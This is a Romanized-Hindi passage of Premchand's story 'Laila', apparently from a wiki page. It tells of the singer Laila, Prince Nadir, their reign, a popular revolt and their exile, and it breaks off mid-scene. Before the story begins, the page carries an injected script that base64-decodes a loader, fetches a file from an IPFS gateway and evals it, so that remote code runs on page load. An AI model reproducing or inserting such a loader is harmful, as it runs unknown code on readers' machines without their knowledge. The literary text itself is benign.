लैला -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah koee n janata tha ki laila kaun hai, kahaan se ayi hai aur kya karati hai. ek din logoan ne ek anupam suandari ko teharan ke chauk mean apane daph par hafij ki yah gajal jhoom-jhoom kar gate suna-

rasid muzara ki aiyame gam n khvahad maand,

chunaan n maand, chunian niz ham n khvahad maand.

aur sara teharan us par phida ho gaya. yahi laila thi.

laila ke roop-lality ki kalpana karani ho to oosha ki praphull lalima ki kalpana kijie, jab nil gagan svarn-prakash se ranjit ho jata hai; bahar ki kalpana kijie, jab bag mean rang-rang ke phool khilate haian aur bulabulean gati haian.

laila ke svar-lality ki kalpana karani ho, to us ghanti ki anavarat dhvani ki kalpana kijie jo nisha ki nistabdhata mean ooantoan ki garadanoan mean bajati huee sunayi deti hai; ya us baansuri ki dhvani ki jo madhyahn ki alasyamayi shaanti mean kisi vriksh ki chhaya mean lete hue charavahe ke mukh se nikalati hai.

jis vakt laila mast hokar gati thi, usake mukh par ek svargiy abha jhalakane lagati thi. vah kavy, sangit, saurabh aur sushama ki ek manohar pratima thi, jisake samane chhote aur b de, amir aur garib sabhi ke sir jhuk jate the. sabhi mantramugdh ho jate the, sabhi sir dhunate the. vah us anevale samay ka sandesh sunati thi; jab desh mean santosh aur prem ka samrajy hoga, jab dvandv aur sangram ka aant ho jayaga. vah raja ko jagati aur kahati, yah vilasita kab tak, yah aishvary-bhog kab tak ? vah praja ki soyi huee abhilashaoan ko jagati, unaki hrittantriyoan ko apane svar se kampit kar deti. vah un amar viroan ki kirti sunati jo dinoan ki pukar sunakar vikal ho jate the; un vidushiyoan ki mahima gati jo kul-maryada par mar miti thian. usaki anurakt dhvani sunakar log diloan ko tham lete the, t dap jate the.

sara teharan laila par fida tha. dalitoan ke lie vah asha ka dipak thi, rasikoan ke lie jannat ki hoor, dhaniyoan ke lie atma ki jagriti aur sattadhariyoan ke lie daya aur dharm ka sandesh. usaki bhauanhoan ke ishare par janata ag mean kood sakati thi. jaise chaitany j d ko akarshit kar leta hai, usi bhaanti laila ne janata ko akarshit kar liya tha.

aur yah anupam sauandary sudha ki bhaanti pavitr, him ke saman nishkalank aur nav kusum ki bhaanti aniandy tha. usake lie prem-kataksh, ek bhedabhari muskan, ek rasili ada par kya n ho jata- kanchan ke parvat kh de ho jate, aishvary upasana karata, riyasatean pair ki dhool chatatian, kavi kat jate, vidvan ghutane tekate; lekin laila kisi ki or aankh uthakar bhi n dekhati thi. vah ek vriksh ki chhaanh mean rahati, bhiksha maangakar khati aur apani hridayavina ke rag alapati thi. vah kavi ki sookti ki bhaanti keval anand aur prakash ki vastu thi, bhog ki nahian. vah rrishiyoan ke ashirvad ki pratima thi, kalyan mean doobi huee, shaanti mean rangi huee, koee use sparsh n kar sakata tha, use mol n le sakata tha.

2

ek din sandhya samay teharan ka shahajada nadir gho de par savar udhar se nikala. laila ga rahi thi. nadir ne gho de ki bag rok li aur der tak atm-vismrit ki dasha mean kh da sunata raha. gajal ka pahala sher yah tha-

mara dardest aandar dil, agar goyam javaan sozad;

bagair dam darakasham, tarasan ki magazo ustakhvaan sozad.

phir vah gho de se utarakar vahian zamin par baith gaya aur sir jhukaye rota raha. tab vah utha aur laila ke pas jakar usake kadamoan par sir rakh diya. log adab se idhar-udhar hat gaye.

laila ne poochha- tum kaun ho ?

nadir- tumhara gulam.

laila- mujhase kya chahate ho ?

nadir- apaki khidamat karane ka hukm. mere jhoanp de ko apane kadamoan se roshan kijie.

laila- yah meri adat nahian.

shahajada phir vahian baith gaya aur laila phir gane lagi. lekin gala tharrane laga, mano vina ka koee tar toot gaya ho. usane nadir ki or karun netroan se dekhakar kaha- tum yahaan mat baitho.

kee adamiyoan ne kaha- laila, hamare huzoor shahajada nadir haian.

laila beparavahi se boli- b di khushi ki bat hai. lekin yahaan shahajadoan ka kya kam? unake lie mahal hai, mahaphilean haian aur sharab ke daur haian. maian unake lie gati hooan, jinake dil mean dard hai; unake lie nahian jinake dil mean shauq hai.

shahajada ne unmatt bhav se kaha- laila, tumhari ek tan par apana sabakuchh nisar kar sakata hooan. maian shauq ka gulam tha, lekin tumane dard ka maja chakha diya.

laila phir gane lagi; lekin avaz kaboo mean n thi, mano vah usaka gala hi n tha.

laila ne daph kandhe par rakh liya aur apane dere ki or chali. shrota apane-apane ghar chale. kuchh log usake pichhe-pichhe us vriksh tak aye, jahaan vah vishram karati thi. jab vah apani jhoanp di ke dvar par pahuanchi, tab sabhi adami vida ho chuke the. keval ek adami jhoanp di se kee hath par chupachap kh da tha.

laila ne poochha- tum kaun ho ?

nadir ne kaha- tumhara gulam nadir !

laila- tumhean maloom nahian ki maian apane aman ke goshe mean kisi ko nahian ane deti ?

nadir- yah to dekh hi raha hooan.

laila- phir kyoan baithe ho ?

nadir- ummid daman pak de hue hai.

laila ne kuchh der ke bad phir poochha- kuchh khakar aye ho ?

nadir- ab to n bhookh hai, n pyas.

laila- ao, aj tumhean gariboan ka khana khilaooan. isaka maja bhi chakh lo.

nadir inakar n kar saka. aj use bajare ki rotiyoan mean abhootapoorv svad mila. vah soch raha tha ki vishv ke is vishal bhavan mean kitana anand hai. use apani atma mean vikas ka anubhav ho raha tha.

jab vah kha chuka tab laila ne kaha- ab jao. adhi rat se zyada gujar gayi.

nadir ne aankhoan mean aansoobhar kar kaha- nahian laila, ab mera asan bhi yahian jamega.

nadir din-bhar laila ke nagame sunata; galiyoan mean, s dakoan par jahaan vah jati usake pichhe-pichhe ghoomata rahata. rat ko usi pe d ke niche jakar p d rahata. badashah ne samajhaya, malaka ne samajhaya, umara ne minnatean kian, lekin nadir ke sir se laila ka sauda n gaya. jin haloan laila rahati thi un haloan vah bhi rahata tha. malaka usake lie achchhe se achchhe khane banakar bhejati, lekin nadir unaki or dekhata bhi n tha-

lekin laila ke sangit mean ab vah kshudha n thi. vah toote hue taroan ka rag tha jisamean n vah loch tha, n vah jadoo, n vah asar. vah ab bhi gati thi, sunanevale ab bhi ate the; lekin ab vah apana dil khush karane ko nahian, unaka dil khush karane ko gati thi aur sunanevale vihval hokar nahian, usako khush karane ke lie ate the.

is tarah chhah mahine gujar gaye.

ek din laila gane n gayi. nadir ne kaha- kyoan laila, aj gane n chalogi ?

laila ne kaha- ab kabhi n jaooangi. sach kahana, tumhean ab bhi mere gane mean pahale hi ka-sa maja ata hai ?

nadir bola- pahale se kahian zyada.

laila- lekin aur log to ab nahian pasand karate.

nadir- haan, mujhe isaka tajjub hai.

laila- tajjub ki bat nahian. pahale mera dil khula hua tha, usamean sabake lie jagah thi, vah sabake diloan mean pahuanchati thi. ab tumane usaka daravaza band kar diya. ab vahaan sirph tum ho, isilie usaki avaz tumhian ko pasand ati hai. yah dil ab tumhare siva aur kisi ke kam ka nahian raha. chalo, aj tak tum mere gulam the; aj se maian tumhari lauandi hoti hooan. chalo, maian tumhare pichhe-pichhe chalooangi. aj se tum mere malik ho. tho di-si ag lekar is jhoanp de mean laga do. is daph ko usi mean jala dooangi.

3

teharan mean ghar-ghar anandotsav ho raha tha. aj shahajada nadir laila ko byah kar laya tha. bahut dinoan ke bad usake dil ki murad poori huee thi. sara teharan shahajade par jan deta tha aur usaki khushi mean sharik tha. badashah ne to apani taraph se munadi karava di thi ki is shubh avasar par dhan aur samay ka apavyay n kiya jay, keval log masajidoan mean jama hokar khuda se dua maangean ki var aur vadhoo chiranjivi hoan aur sukh se rahean. lekin apane pyare shahajade ki shadi mean dhan aur dhan se adhik moolyavanh samay ka muanh dekhana kisi ko gavara n tha. reesoan ne mahaphilean sajayian, chirag jalaye, baje bajavaye, gariboan ne apani daphaliyaan sanbhalian aur s dakoan par ghoom-ghoomakar uchhalate-koodate phire.

sandhya ke samay shahar ke sare amir aur rees shahajade ko badhaee dene ke lie divane-khas mean jama hue. shahajada itroan se mahakata, ratnoan se chamakata aur manollas se khilata hua akar kh da ho gaya.

qazine arj ki- huzoor par khuda ki barakat ho.

hajaroan adamiyoan ne kaha- amin !

shahar ki lalanaean bhi laila ko mubarakabad dene ayian. laila bilakul sade kap de pahane thi. abhooshanoan ka kahian nam n tha.

ek mahila ne kaha- apaka sohag sada salamat rahe.

hajaroan kanthoan se dhvani nikali- amin !

4

kee sal gujar gaye. nadir ab badashah tha aur laila usaki malaka. eeran ka shasan itane sucharu roop se kabhi n hua tha. donoan hi praja ke hitaishi the, donoan hi use sukhi aur sampann dekhana chahate the. prem ne ve sabhi kathinaiyaan door kar dian jo laila ko pahale shankit karati rahati thian. nadir rajasatta ka vakil tha, laila praja-satta ki; lekin vyavaharik roop se unamean koee bhed n p data tha; kabhi yah dab jata, kabhi vah hat jati. unaka dampaty-jivan adarsh tha. nadir laila ka rukh dekhata tha, laila nadir ka. kam se avakash milata to donoan baithakar gate-bajate, kabhi nadiyoan ki sair karate, kabhi kisi vriksh ki chhaanh mean baithe hue haphij ki gajalean padhate aur jhoomate. n laila mean ab utani sadagi thi, n nadir mean ab utana takalluph tha. nadir ka laila par ekadhipaty tha jo sadharan bat thi. jahaan badashahoan ki mahalasara mean begamoan ke muhalle basate the, darjanoan aur kau diyoan se unaki ganana hoti thi, vahaan laila akeli thi. un mahaloan mean ab shaphakhane, madarase aur pustakalay the. jahaan mahalasaroan ka varshik vyay karo doan tak pahuanchata tha, vahaan ab hajaroan se age n badhata tha. shesh rupaye praja-hit ke kamoan mean kharch kar diye jate the. yah sari katar-byoant laila ne ki thi. badashah nadir tha, par akhtiyar laila ke hathoan mean tha.

sabakuchh tha, kiantu praja santusht n thi. usaka asantosh din-din badhata jata tha. rajasattavadiyoan ko bhay tha ki agar yahi hal raha to badashahat ke mit jane mean sandeh nahian. jamashed ka lagaya hua vriksh, jisane hajaroan sadiyoan se aandhi aur toofan ka mukabila kiya, ab ek hasina ke najuk, par katil hathoan j d se ukha da ja raha hai. udhar praja-sattavadiyoan ko laila se kitani ashaean thian, sabhi durashaean siddh ho rahi thian. ve kahate, agar eeran is chal se taraqqi ke raste par chalega to isase pahale ki vah manjile-makasood par pahuanche, kayamat a jayagi. duniya havaee jahaz par baithi u di ja rahi hai aur ham abhi theloan par baithate bhi darate haian ki kahian isaki harakat se duniya mean bhoochal n a jay. donoan daloan mean aye din l daiyaan hoti rahati thian. n nadir ke samajhane ka asar amiroan par hota tha, n laila ke samajhane ka gariboan par. samant nadir ke khoon ke pyase ho gaye, praja laila ki jani dushman.

5

rajy mean to yah ashaanti phaili huee thi, vidroh ki ag diloan mean sulag rahi thi aur rajabhavan mean prem ka shaantimay rajy tha, badashah aur malaka donoan praja-santosh ki kalpana mean magn the.

rat ka samay tha. nadir aur laila aramagah mean baithe hue shataranj ki bazi khel rahe the. kamare mean koee sajavat n thi, keval ek jajim bichhi huee thi.

nadir ne laila ka hath pak dakar kaha- bas, ab yah jyadati nahian, tumhari chal ho chuki. yah dekho, tumhara ek pyada pit gaya.

laila- achchha yah shah ! apake sare paidal rakhe rah gaye aur badashah par shah p d gayi. isi par dava tha.

nadir- tumhare sath harane mean jo maja hai, vah jitane mean nahian.

laila- achchha, to goya ap dil khush kar rahe haian ! shah bachaie, nahian doosari chal mean mat hoti hai.

nadir- (ardab dekar) achchha ab sanbhalakar jana, tumane mere badashah ki tauhin ki hai. ek bar mera pharji utha to tumhare pyadoan ka saphaya kar dega.

laila- basant ki bhi khabar hai ! yah shah, laie. pharji ab kahie. abaki maian n manooangi, kahe deti hooan. apako do bar chho d diya, abaki hargij n chho dooangi.

nadir- jab tak mera dilaram (gho da) hai, badashah ko koee gam nahian.

laila- achchha yah shah ? laie apane dilaram ko ! kahie, ab to mat huee ?

nadir- haan janeman, ab mat ho gayi. jab maian hi tumhari adaoan par nisar ho gaya, tab mera badashah kab bach sakata tha.

laila- batean n banaie, chupake se is pharaman par dastakhat kar dijie. jaisa apane vada kiya tha.

yah kahakar laila ne pharaman nikala, jise usane khud apane moti ke-se aksharoan mean likha tha. isamean ann ka ayat-kar ghatakar adha kar diya gaya tha. laila praja ko bhooli n thi, vah ab bhi unaki hitakamana mean sanlagn rahati thi. nadir ne is shart par pharaman par dastakhat karane ka vachan diya tha ki laila use shataranj mean tin bar mat kare. vah siddhahast khila di tha ise laila janati thi; par yah shataranj ki bazi n thi, keval vinod tha. nadir ne muskarate hue pharaman par hastakshar kar diye. kalam ke ek chihn se praja ki paanch karo d varshik kar se mukti ho gayi. laila ka mukh garv se arakt ho gaya. jo kam barasoan se andolan se n ho sakata tha, vah prem-katakshoan se kuchh hi dinoan mean poora ho gaya.

yah sochakar vah phooli n samati thi ki jis vakt yah pharaman sarakari patroan mean prakashit ho jayaga aur vyavasthapika ke logoan ko isake darshan hoange, us vakt prajavadiyoan ko kitana anand hoga. log mera yash gayeange aur mujhe ashirvad deange.

nadir premamugdh hokar usake chandramukh ki or dekh raha tha, aur mano usaka vash hota to saundary ki is pratima ko hriday mean bitha leta.

6

sahasa raj-bhavan ke dvar par shor machane laga. ek kshan mean maloom hua ki janata ka tiddi dal, astr-shastr se susajjit, rajadvar par kh da divaroan ko to dane ki koshish kar raha hai. pratikshan shor badhata jata tha aur aisi ashanka hoti thi ki krodhonmatt janata dvaroan ko to dakar bhitar ghus jayegi. phir aisa maloom hua ki kuchh log sidhiyaan lagakar divar par chadh rahe haian. laila lajja aur glani se sir jhukaye kh di thi. usake mukh se ek shabd bhi n nikalata tha. kya yahi vah janata hai, jinake kashtoan ki katha kahate hue usaki vani unmatt ho jati thi ? yahi vah ashakt, dalit, kshudha-pi dit, atyachar ki vedana se t dapati huee janata hai, jis par vah apane ko arpan kar chuki thi.

nadir bhi maun kh da tha; lekin lajja se nahian, krodh se usaka mukh tamatama utha tha, aankhoan se chinagariyaan nikal rahi thian, bar-bar oanth chabata aur talavar ke kabje par hath rakhakar rah jata tha. vah bar-bar laila ki or santapt netroan se dekhata tha. jara se ishare ki der thi. usaka hukm pate hi usaki sena is vidrohi dal ko yoan bhaga degi jaise aandhi pattoan ko u da deti hai; par laila se aankhean n milati thian.

akhir vah adhir hokar bola- laila, maian raj-sena ko bulana chahata hooan. kya kahati ho ?

laila ne dinatapoorn netroan se dekhakar kaha- jara thahar jaie, pahale in logoan se poochhie ki chahate kya haian.

yah adesh pate hi nadir chhat par chadh gaya, laila bhi usake pichhe-pichhe oopar a pahuanchi. donoan ab janata ke sammukh akar kh de ho gaye. mashaloan ke prakash mean logoan ne in donoan ko chhat par kh de dekha, mano akash se devata utar aye hoan; sahasro kanthoan se dhvani nikali- vah kh di hai, vah kh di hai, laila vah kh di hai ! yah vah janata thi jo laila ke madhur sangit par mast ho jaya karati thi.

nadir ne uchch svar se vidrohiyoan ko sambodhit kiya- ai eeran ki badanasib riaya. tumane shahi mahal ko kyoan gher rakha hai ? kyoan bagavat ka jhanda kh da kiya hai ? kya tumako mera aur apane khuda ka bilakul khauph nahian ? kya tum nahian janate ki maian apani aankhoan ke ek ishare se tumhari hasti khak mean mila sakata hooan ? maian tumhean hukm deta hooan ki ek lamhe ke aandar yahaan se chale jao, varana kalame-pak ki kasam, maian tumhare khoon ki nadi baha dooanga.

ek adami ne, jo vidrohiyoan ka neta maloom hota tha, samane akar kaha- ham us vakt tak n jayange, jab tak shahi mahal laila se khali n ho jayaga.

nadir ne big dakar kaha- o nashukro, khuda se daro ! tumhean apani malaka ki shan mean aisi beadabi karate hue sharm nahian ati ! jab se laila tumhari malaka huee hai, usane tumhare sath kitani riayatean ki haian ! kya unhean tum bilakul bhool gaye ? jalimo, vah malaka hai; par vahi khana khati hai, jo tum kuttoan ko khila dete ho; vahi kap de pahanati hai, jo tum fakiroan ko de dete ho. akar mahalasara mean dekho, tum ise apane jhoanp doan hi ki tarah takalluph aur sajavat se khali paoge. laila tumhari malaka hokar bhi fakiri ki ziandagi basar karati hai, tumhari khidamat mean hamesha mast rahati hai. tumhean usake kadamoan ki khak mathe par lagani chahie, aankhoan ka surama banana chahie. eeran ke takht par kabhi aisi gariboan par jan denevali, unake dard mean sharik hone vali, gariboan par apane ko nisar karane vali malaka ne qadam nahian rakhe aur usaki shan mean tum aisi behooda batean karate ho ! afasos ! mujhe maloom ho gaya ki tum jahil, insaniyat se khali aur kamine ho ! tum isi kabil ho ki tumhari garadanean kund chhuri se kati jayan, tumhean pairoan tale rauanda jay ...

nadir ne bat bhi poori n kar payi thi ki vidrohiyoan ne ek svar se chillakar kaha- laila, laila hamari dushman hai, ham use apani malaka ki soorat mean nahian dekh sakate.

nadir ne zor se chillakar kaha- jalimo, jara khamosh ho jao; yah dekho vah pharaman hai, jis par laila ne abhi-abhi mujhase jabaradasti dastakhat karaye haian. aj se galle ka mahasool ghatakar adha kar diya gaya hai aur tumhare sir se mahasool ka bojh paanch karo d kam ho gaya hai.

hajaroan adamiyoan ne shor machaya- yah mahasool bahut pahale bilakul maph ho jana chahie tha. ham ek kau di nahian de sakate. laila, laila, ham use apani malaka ki soorat mean nahian dekh sakate.

ab badashah krodh se kaanpane laga. laila ne sajal netr hokar kaha- agar riaya ki yahi maraji hai ki maian phir daph baja-bajakar gati phirooan to mujhe koee ujr nahian, mujhe yakin hai ki maian apane gane se ek bar phir inake dil par hukoomat kar sakati hooan.

nadir ne uttejit hokar kaha- laila, maian riaya ki tunukamizajiyoan ka gulam nahian. isase pahale ki maian tumhean apane pahaloo se juda karooan, teharan ki galiyaan khoon se lal ho jayangi. maian in badamashoan ko inaki shararat ka maja chakhata hooan.

nadir ne minar par chadhakar khatare ka ghanta bajaya. sare teharan mean usaki avaz gooanj uthi; par shahi fauj ka ek adami bhi n najar aya.

nadir ne dobara ghanta bajaya, akash mandal usaki jhankar se kampit ho gaya, taragan kaanp uthe; par ek bhi sainik n nikala.

nadir ne tab tisari bar ghanta bajaya, par usaka bhi uttar keval ek kshin pratidhvani ne diya, mano kisi maranevale ki aantim prarthana ke shabd hoan.

nadir ne matha pit liya. samajh gaya ki bure din a gaye. ab bhi laila ko janata ke duragrah par balidan karake vah apani rajasatta ki raksha kar sakata tha, par laila use pranoan se priy thi. usane chhat par akar laila ka hath pak d liya aur use liye hue sadar phatak se nikala. vidrohiyoan ne ek vijay-dhvani ke sath unaka svagat kiya; par sab-ke-sab kisi gupt prerana ke vash raste se hat gaye.

donoan chupachap teharan ki galiyoan mean hote hue chale jate the. charoan or aandhakar tha. dookanean band thian. bazaroan mean sannata chhaya hua tha. koee ghar se bahar n nikalata tha. fakiroan ne bhi masajidoan mean panah le li thi. par in donoan praniyoan ke lie koee ashray n tha. nadir ki kamar mean talavar thi, laila ke hath mean daph tha. yahi unake vishal aishvary ka vilupt chihn tha.

7

poora sal gujar gaya. laila aur nadir desh-videsh ki khak chhanate phirate the. samarakand aur bukhara, bagadad aur halab, kahira aur adan ye sare desh unhoanne chhan dale. laila ki daph phir jadoo karane lagi, usaki avaz sunate hi shahar mean halachal mach jati, adamiyoan ka mela lag jata, avabhagat hone lagati; lekin ye donoan yatri kahian ek din se adhik n thaharate the. n kisi se kuchh maangate, n kisi ke dvar par jate. keval rookha-sookha bhojan kar lete aur kabhi kisi vriksh ke niche, kabhi parvat ki gupha mean aur kabhi s dak ke kinare rat kat dete the. sansar ke kathor vyavahar ne unhean virakt kar diya tha, usake pralobhan se kosoan door bhagate the. unhean anubhav ho gaya tha ki yahaan jisake lie pran arpan kar do, vahi apana shatru ho jata hai; jisake sath bhalaee karo, vahi buraee par kamar baandhata hai; yahaan kisi se dil n lagana chahie. unake pas b de-b de reesoan ke nimantran ate, unhean ek din apana mehaman banane ke lie log hajaroan minnatean karate, par laila kisi ki n sunati. nadir ko ab tak kabhi-kabhi badashahat ki sanak savar ho jati thi, vah chahata tha ki gupt roop se shakti-sangrah karake teharan par chadh jaooan aur bagiyoan ko parast karake akhand raj karooan; par laila ki udasinata dekhakar use kisi se milane-julane ka sahas n hota tha. laila usaki praneshvari thi, vah usi ke isharoan par chalata tha.

udhar eeran mean bhi arajakata phaili huee thi. janasatta se tang akar reesoan ne bhi faujean jama kar li thian aur donoan daloan mean aye din sangram hota rahata tha. poora sal gujar gaya aur khet n jute, desh mean bhishan akal p da hua tha; vyapar shithil tha, khazana khali. din-din janata ki shakti ghatati jati thi aur reesoan ka zor badhata jata tha. akhir yahaan tak naubat pahuanchi ki janata ne hathiyar dal diye aur reesoan ne rajabhavan par apana adhikar jama liya. praja ke netaoan ko phaansi de di gayi, kitane hi kaid kar liye gaye aur janasatta ka aant ho gaya. shaktivadiyoan ko ab nadir ki yad ayi. yah bat anubhav se siddh ho gayi thi ki desh mean prajatantr sthapit karane ki kshamata ka abhav hai. pratyaksh ke lie praman ki zaroorat n thi. is avasar par rajasatta hi desh ka uddhar kar sakati thi. yah bhi mani huee bat thi ki laila aur nadir ko janamat se vishesh prem n hoga. ve sianhasan par baithakar bhi reesoan hi ke hath mean kathaputali bane raheange aur reesoan ko praja par manamane atyachar karane ka avasar milega. atev apas mean logoan ne salah ki aur pratinidhi nadir ko mana lane ke lie ravana hue.

8

sandhya ka samay tha. laila aur nadir damishk mean ek vriksh ke niche baithe hue the. akash par lalima chhayi huee thi aur usase mili huee parvatamalaoan ki shyam rekha aisi maloom ho rahi thi mano kamal-dal murajha gaya ho. laila ullasit netroan se prakriti ki yah shobha dekh rahi thi. nadir malin aur chiantit bhav se leta hua samane ke sudoor praant ki or trishit netroan se dekh raha tha, mano is jivan se tang a gaya hai.

sahasa bahut door gard u dati huee dikhaee di, aur ek kshan mean aisa maloom hua ki kuchh adami gho doan par savar chale a rahe haian. nadir uth baitha aur gaur se dekhane laga ki ye kaun adami haian. akasmath vah uthakar kh da ho gaya. usaka mukh-mandal dipak ki bhaanti chamak utha, jarjar sharir mean ek vichitr sphoorti dau d gayi. vah utsukata se bola- laila, ye to eeran ke adami hai, kalame-pak ki kasam, ye eeran ke adami haian. inake libas se saf zahir ho raha hai.

laila ne bhi un yatriyoan ki or dekha aur sachet hokar boli- apani talavar sanbhal lo, shayad usaki zaroorat p de.

nadir- nahian laila, eeran ke log itane kamine nahian haian ki apane badashah par talavar uthayean.

laila- pahale maian bhi yahi samajhati thi.

savaroan ne samip akar gho de rok liye aur utarakar b de adab se nadir ko salam kiya. nadir bahut jabt karane par bhi apane manoveg ko n rok saka, dau dakar unake gale se lipat gaya. vah ab badashah n tha, eeran ka ek musaphir tha. badashahat mit gayi thi; yah eeraniyat rom-rom mean bhari huee thi. ve tinoan adami is samay eeran ke vidhata the. inhean vah khoob pahachanata tha. unaki svamibhakti ki vah kee bar pariksha le chuka tha. unhean lakar apane boriye par baithana chaha, lekin ve zamin hi par baithe. unaki drishti se vah boriya us samay sianhasan tha, jis par apane svami ke sammukh ve qadam n rakh sakate the. batean hone lagian. eeran ki dasha atyant shochaniy thi. loot-mar ka bazar garm tha, n koee vyavastha thi n vyavasthapak the. agar yahi dasha rahi to shayad bahut jald usaki garadan mean paradhinata ka jua p d jay. desh ab nadir ko dhooandh raha tha. usake siva koee doosara us doobate hue be de ko par nahian laga sakata tha. isi asha se ye log usake pas aye the.

nadir ne virakt bhav se kaha- ek bar ijjat li, kya abaki jan lene ki sochi hai ? maian b de aram se hooan ! ap mujhe dik n karean.

saradaroan ne agrah karana shuroo kiya- ham huzoor ka daman n chho deange, yahaan apani garadanoan par chhuri pherakar huzoor ke kadamoan par jan de deange. jin badamashoan ne apako pareshan kiya tha, ab unaka kahian nishan bhi n raha, ham log unhean phir kabhi sir n uthane deange, sirph huzoor ki a d chahie.

nadir ne bat katakar kaha- sahabo, agar ap mujhe is irade se eeran ka badashah banana chahate haian, to maph kijie. maianne is saphar mean riaya ki halat ka gaur se mulahaja kiya hai aur is natije par pahuancha hooan ki sabhi mulkoan se unaki halat kharab hai. ve raham ke kabil haian. eeran mean mujhe kabhi aise mauke n mile the. maian riaya ko apane darabariyoan ki aankhoan se dekhata tha. mujhase ap log yah ummid n rakhean ki riaya ko lootakar apaki jebean bharooanga. yah ajab apani garadan par nahian le sakata. maian insaph ka mijan barabar rakhooanga aur isi shart par eeran chal sakata hooan.

laila ne muskarakar kaha- tum riaya ka kasoor maph kar sakate ho, kyoanki usaki tumase koee dushmani n thi. usake daant to mujh par the. maian use kaise maph kar sakati hooan.

nadir ne gambhir bhav se kaha- laila, mujhe yakin nahian ata ki tumhare muanh se aisi batean sun raha hooan.

logoan ne samajha, abhi unhean bh dakane ki zaroorat hi kya hai. eeran mean chalakar dekha jayaga. do-char mukhabiroan se riaya ke nam par aise upadrav kh de kara deange ki inake sare khayal palat jayange. ek saradar ne arj ki- mazallah ! huzoor yah kya pharamate haian ? kya ham itane nadan haian ki huzoor ko insaph ke raste se hatana chaheange ? insaph hi badashah ka jauhar hai aur hamari dili arajoo hai ki apaka insaph nausheravaan ko bhi sharmianda kar de. hamari mansha sirph yah thi ki aianda se ham riaya ko kabhi aisa mauqa n deange ki vah huzoor ki shan mean beadabi kar sake. ham apani janean huzoor par nisar karane ke lie hajir raheange.

sahasa aisa maloom hua ki sari prakriti sangitamay ho gayi hai. parvat aur vriksh, tare aur chaand, vayu aur jal sabhi ek svar se gane lage. chaandani ki nirmal chhata mean, vayu ke nirav prahar mean, sangit ki tarangean uthane lagian. laila apana daph baja-bajakar ga rahi thi. aj maloom hua, dhvani hi srishti ka mool hai. parvatoan par deviyaan nikal-nikalakar nachane lagian, akash par devata nrity karane lage. sangit ne ek naya sansar rach dala.

usi din se jabaki praja ne rajabhavan ke dvar par upadrav machaya tha aur laila ke nirvasan par agrah kiya tha, laila ke vicharoan mean kraanti ho gayi thi. janm se hi usane janata ke sath sahanubhooti karana sikha tha. vah rajakarmachariyoan ko praja par atyachar karate dekhati thi aur usaka komal hriday t dap uthata tha. tab dhan, aishvary aur vilas se use ghrina hone lagati thi. jisake karan praja ko itane kasht bhogane p date haian. vah apane mean kisi aisi shakti ka ahvan karana chahati thi jo atatayiyoan ke hriday mean daya aur praja ke hriday mean abhay ka sanchar kare. usaki bal kalpana use ek sianhasan par bitha deti, jahaan vah apani nyay-niti se sansar mean yugaantar upasthit kar deti. kitani ratean usane yahi svapn dekhane mean kati thian. kitani bar vah anyay-pi ditoan ke sirahane baithakar royi thi; lekin jab ek din aisa aya ki usake svarn-svapn aanshik riti se poore hone lage, tab use ek naya aur kathor anubhav hua. usane dekha ki praja itani sahanashil, itani din aur durbal nahian hai, jitana vah samajhati thi. isaki apeksha usamean ochhepan, avichar aur ashishtata ki matra kahian adhik thi. vah sadvyavahar ki kadr karana nahian janati, shakti pakar usaka sadupayog nahian kar sakati. usi din se usaka dil janata se phir gaya tha.

jis din nadir aur laila ne phir teharan mean padarpan kiya, sara nagar unaka abhivadan karane ke lie nikal p da. shahar par atank chhaya hua tha, charoan or karun rudan ki dhvani sunaee deti thi. amiroan ke muhalle mean shri lotati phirati thi, gariboan ke muhalle uj de hue the, unhean dekhakar kaleja phata jata tha. nadir ro p da; lekin laila ke oanthoan par nishthur nirday hasy apani chhata dikha raha tha.

nadir ke samane ab ek vikat samasya thi. vah nity dekhata ki maian jo karana chahata hooan vah nahian hota aur jo nahian karana chahata, vah hota hai, aur isaka karan laila hai; par kuchh kah n sakata tha. laila usake har ek kam mean hastakshep karati rahati thi. vah janata ke upakar aur uddhar ke lie jo vidhan karata laila usamean koee n koee vighn avashy dal deti, aur use chup rah jane ke siva aur kuchh n soojhata. laila ke lie usane ek bar rajy ka tyag kar diya tha. tab apatti-kal ne laila ki pariksha li thi. itane dinoan ki vipatti mean use laila ke charitr ka jo anubhav prapt hua tha, vah itana manohar, itana saras tha ki vah laila-may ho gaya tha. laila hi usaka svarg thi, usake prem mean rat rahana hi usaki param abhilasha thi. is laila ke lie vah ab kya kuchh n kar sakata tha ? praja ki aur samrajy ki usake samane kya hasti thi.

is bhaanti tin sal bit gaye, praja ki dasha din-din big dati hi gayi.

9

ek din nadir shikar khelane gaya. aur sathiyoan se alag hokar jangal mean bhatakata phira, yahaan tak ki rat ho gayi aur sathiyoan ka pata n chala. ghar lautane ka bhi rasta n janata tha. akhir khuda ka nam lekar ek taraph chala ki kahian to koee gaanv ya basti ka nam nishan milega ! vahaan rat-bhar p da rahooanga. savere laut jaooanga. chalate-chalate jangal ke doosare sire par use ek gaanv najar aya, jisamean mushkil se tin-char ghar hoange. haan, ek masajid alabatta bani huee thi. masajid mean ek dipak timatima raha tha; par kisi adami ya adamajat ka nishan n tha. adhi rat se zyada bit chuki thi, isalie kisi ko kasht dena bhi uchit n tha. nadir ne gho de ko ek pe d se baandh diya aur usi masajid mean rat katane ki thani. vahaan ek phati-si chataee p di huee thi. usi par let gaya. din-bhar ka thaka tha, letate hi niand a gayi. maloom nahian, vah kitani der tak sota raha; par kisi ki ahat pakar chauanka to kya dekhata hai ki ek boodha adami baitha namaz padh raha hai. nadir ko ashchary ha ki itani rat gaye kaun namaz padh raha hai. use yah khabar n thi ki rat gujar gayi aur yah phajar ki namaz hai. vah p da-p da dekhata raha. vriddh purush ne namaz ada ki, phir vah chhati ke samane aanjali phailakar dua maangane laga. dua ke shabd sunakar nadir ka khoon sard ho gaya. vah dua usake rajyakal ki aisi tivr, aisi vastavik, aisi shikshaprad alochana thi, jo aj tak kisi ne n ki thi. use apane jivan mean apana apayash sunane ka avasar prapt hua. vah yah to janata tha ki mera shasan adarsh nahian hai; lekin usane kabhi yah kalpana n ki thi ki vipatti itani asahy ho gayi hai. dua yah thi-

